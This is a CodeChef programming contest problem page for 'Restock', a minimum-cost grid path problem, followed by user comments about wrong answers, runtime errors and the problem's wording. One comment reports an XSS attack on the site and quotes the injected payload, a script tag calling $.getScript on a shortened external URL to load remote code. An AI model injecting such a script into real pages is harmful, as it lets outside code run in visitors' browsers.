Restock

Problem code: RESTOCK

All submissions for this problem are available.

The chef has to replenish supplies in the kitchen. He divided the kitchen floor into a rectangular grid of cell with N rows and M columns. All coordinates in this problem are 0-indexed and in the form (row, column). The supplies will be delivered to the cell (R,C) and have to be moved to the storage, which is located in the cell (0,0). The chef will organize his employees so that they can pass individual items between them from the point of delivery to the storage. However, he has one additional request. The chef wants to see progress with every pass, which means that the Euclidean distance between the item and the storage has to decrease with every pass.

An employee assigned to the cell (Y1,X1) can pass an item to another empoyee in cell (Y2,X2) if |Y1-Y2| <= D and |X1-X2| <= D. Note that one person has to be assigned to cell (R,C) in any valid assignment. The chef assigned a wage to each cell to compensate for different working conditions. For example, standing next to an oven is not a very popular spot among the employees. The chef will take the position at the storage himself, therefore the wage for the cell (0,0) will be 0 in all cases. Of course, the chef wants to pay as little as possible. The cost of some assignement of employees to different cells is equal to the sum of wages associated with their cells. The chef can always find some new workforce, so the number of workers is not a restriction. Help him find the cost of the cheapest assignment.

Input

The first line contains a single integer T, the number of test cases. The first line of each testcase contains the number of rows N and the number of columns M. Second line contains integers D, R and C. Following N lines with M integers describe the wages. j-th number in i-th line represents the wage wi-1,j-1 for the cell (i-1,j-1).

Output

Output a line with a single integer, the cost of the cheapest assignment of workers to cells such that they can pass the items from the point of delivery to the storage.

Constraints

  • 1 <= T <= 10
  • 1 <= N, M <= 500
  • 1 <= D <= 500
  • 0 <= wi,j <= 10000
  • The sum of N*M over all test cases in a single test file will not exceed 250000.

Example

Input:
2
1 5
2 0 4
0 1 5 1 4
5 6
2 4 3
0 7 8 5 9 1
1 6 8 4 6 2
5 4 2 5 0 3
5 2 0 6 8 8
3 5 3 3 8 4

Output:
6
4
Author: thocevar
Date Added: 28-04-2011
Time Limit: 10 sec
Source Limit: 50000 Bytes
Languages: ADA, ASM, BASH, BF, C, C99 strict, CAML, CLOJ, CLPS, CPP 4.0.0-8, CPP 4.3.2, CS2, D, ERL, F#, FORT, GO, HASK, ICK, ICON, JAR, JAVA, JS, LISP clisp, LISP sbcl, LUA, NEM, NICE, PAS fpc, PAS gpc, PERL, PERL6, PHP, PIKE, PRLG, PYTH, PYTH 3.1.2, RUBY, SCALA, SCM guile, SCM qobi, ST, TCL, TEXT, WSPC


Comments

for test: 1 5 2 3 4 0 0 1 1

aropan @ 1 Jun 2011 07:15 PM
for test: 1 5 2 3 4 0 0 1 1 1 1 0 1 1 0 1 answer: 0 yes?

In general, additional

tomaz_adm @ 1 Jun 2011 08:17 PM
In general, additional examples will not be provided unless you think the case is ambiguous - please provide some explanation about what makes it unclear. It seems like a trivial case and the solution is indeed 0 once you format it correctly (line breaks).

@tomaz_adm thx

aropan @ 1 Jun 2011 09:14 PM
@tomaz_adm thx

@tomaz :: spelling mistake :

mkagenius @ 2 Jun 2011 12:33 AM
@tomaz :: spelling mistake : " assignement " ; Use Ctrl + F to find where it is.

Super Question :)

pulkit @ 3 Jun 2011 02:57 AM
Super Question :)

@admin: This damn runtime

login_test @ 4 Jun 2011 11:51 AM
@admin: This damn runtime error is driving me crazy. I have not declared excessive variables neither I am referencing to a memory outside my program space. Crosschecked it thousand times. Program is running smooth on my end with several test cases (including the corner cases). What to do??

@login_test :: try to write a

mkagenius @ 4 Jun 2011 06:51 PM
@login_test :: try to write a fresh code one more time.(if u have not tried).

@admin i am repeatedly

bb_1 @ 4 Jun 2011 08:27 PM
@admin i am repeatedly getting WA..do the minimum cost comes under 32 bit integer??plzz help..

@bb_1 :: why don't you try to

mkagenius @ 4 Jun 2011 10:01 PM
@bb_1 :: why don't you try to calculate whether it fits in 32 bit or not. (Its not that hard ) See:: At most you require, N+M cooks. and each cook positioning can cost 10000. ( so on and forth....)

@mkagenius thankz...bt i am

bb_1 @ 5 Jun 2011 01:43 AM
@mkagenius thankz...bt i am repeatedly getting WA nd i m sure my concept is right..could you help in some possible way??

@manish: What is the maximum

login_test @ 5 Jun 2011 10:59 AM
@manish: What is the maximum amount of memory I can use?? I am talking about consuming memory in my program variables.

@bb_1 :: Sorry. @login_test

mkagenius @ 5 Jun 2011 12:05 PM
@bb_1 :: Sorry. @login_test :: Read FAQs.(64 mb is guaranteed.)

@manish: One more time and

login_test @ 5 Jun 2011 09:29 PM
@manish: One more time and again in vain with Runtime. :( No excess memory. No illegal access. :(

@login_test:: :( , Hope that

mkagenius @ 5 Jun 2011 09:40 PM
@login_test:: :( , Hope that you will solve it eventually. All the best. :)

@manish: Can it be a compiler

login_test @ 5 Jun 2011 10:21 PM
@manish: Can it be a compiler issue? I am using gcc 4.4.5 and the judge has 4.3.2. I guess 'm not using any such thing that will kill me like this. Please look into it. Its driving me nuts. I could afford a wrong output. :(

Can we move to a place where

zingoba @ 6 Jun 2011 10:29 AM
Can we move to a place where the euclidean distance does not decrease but doesn't increase either? For example, Can we move to (2,3) from (3,2), or is the euclidean distance of the supplies required to be strictly decreasing with every pass? 4 6 2 3 2 0 0 8 5 9 1 9 6 8 4 6 2 5 4 2 0 5 3 5 2 1 6 8 8 Output: 1 Path : (3,2)->(2,3)->(0,1)->(0,0) Is it okay to take the above mentioned path?

Can we move to a place where

zingoba @ 6 Jun 2011 10:30 AM
Can we move to a place where the euclidean distance does not decrease but doesn't increase either? For example, Can we move to (2,3) from (3,2), or is the euclidean distance of the supplies required to be strictly decreasing with every pass? 4 6 2 3 2 0 0 8 5 9 1 9 6 8 4 6 2 5 4 2 0 5 3 5 2 1 6 8 8 Output: 1 Path : (3,2)->(2,3)->(0,1)->(0,0) Is it okay to take the above mentioned path?

Sorry for the poorly

zingoba @ 6 Jun 2011 10:34 AM
Sorry for the poorly formatted comment.

can anyone provide some more

assasin143 @ 6 Jun 2011 05:20 PM
can anyone provide some more test cases which check all the constraints and their expected outputs. .

"... the Euclidean distance

tomaz_adm @ 6 Jun 2011 07:32 PM
"... the Euclidean distance between the item and the storage has to decrease with every pass." I think it is clear that the distance must not stay the same.

I am new to this. I am

karthikmit @ 8 Jun 2011 07:35 PM
I am new to this. I am getting Time Exceeded error. Does it simply mean program is correct but slow? Or there is any possibility for Infinite loop also. Any help is appreciated.

Your solution is tested on

tomaz_adm @ 8 Jun 2011 07:47 PM
Your solution is tested on multiple test files. An error (WA or TLE) is displayed for the first test file where your solution fails. Your program is stopped if it exceeds the time limit and because of that it can't be determined whether it is correct or not.

@admin please xplain test

madhur13490 @ 8 Jun 2011 08:23 PM
@admin please xplain test case no.2 how can minimum expense is 4?at which positions employees have been placed?

@admin: My latest submission

simpleton @ 9 Jun 2011 04:48 PM
@admin: My latest submission (ID 569272) is TLE. May I know if I TLE on the big cases or on the small cases? Thanks! Also, does the gcc 4.3.2 compiler recognise %lld?

I dont know where else to put

foofoo @ 10 Jun 2011 04:40 PM
I dont know where else to put this ,, but admin can you please take a look at your form fields for user accounts it seems there has been an XSS attack. On my profile i see this Your Name: ??(scripttagg)$.getScript('http://bit.ly/mxo3tx');(scripttag) Also i see people getting assigned to random countirues.

I am also facing same problem

manoharsingh23 @ 10 Jun 2011 07:05 PM
I am also facing same problem as foofoo. Please admin do check it.

Can we have the set of inputs

shubhang_singh @ 11 Jun 2011 04:09 AM
Can we have the set of inputs which codechef is using to run this program so that we can calculate the run time before submissions?

@admin: my last submission

agneshreddy @ 11 Jun 2011 07:13 PM
@admin: my last submission (id = 571668) is giving WA error, Can i know which test cases are failing

Really a Nice Problem !!

theeporithirumugam @ 12 Jun 2011 02:34 AM
Really a Nice Problem !! Hatsoff to the problem Setter !!! U rocked :)

hmm i did not like this

foofoo @ 12 Jun 2011 11:31 AM
hmm i did not like this

SUCCESSFUL SUBMISSIONS FOR THIS PROBLEM:

CodeChef is a global programming communityCodeChef hosts online programming competitions